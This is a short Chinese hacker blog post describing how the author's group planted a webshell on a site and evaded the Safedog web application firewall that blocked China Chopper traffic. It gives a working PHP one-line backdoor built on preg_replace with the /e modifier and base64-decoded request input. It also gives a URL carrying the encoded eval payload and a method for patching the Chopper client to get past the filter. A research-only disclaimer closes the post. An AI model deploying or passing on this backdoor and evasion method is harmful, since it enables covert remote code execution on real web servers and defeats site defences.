琴日骚总带领落叶哥哥一起日一站，忽遇一狗，后面跟小骚猪一起砍死了小狗，没技术含量，本来想让骚猪发到乌云上混个ID算，谁知那只猪仔喜欢潜水不要ID，不喜欢冒泡，落叶哥哥就直接发ZONE分享下算了
传左shell上去但系被狗拦左，shell过狗仲系好容易噶，但系过左狗之后狗狗仲系拦菜刀提交的数据包
然后骚总想到了个方法，就系在一句话解密传递的数据
菜刀连接PHP一句话时会自己重新定义一个z0变量来执行PHP代码，我们只要用OD把EVAL POST去掉就得咯，一句话马的密码随便填，不就能过狗狗了吗
一句话：
<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>
菜刀连接，密码随便填
http://192.168.100.193/s.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论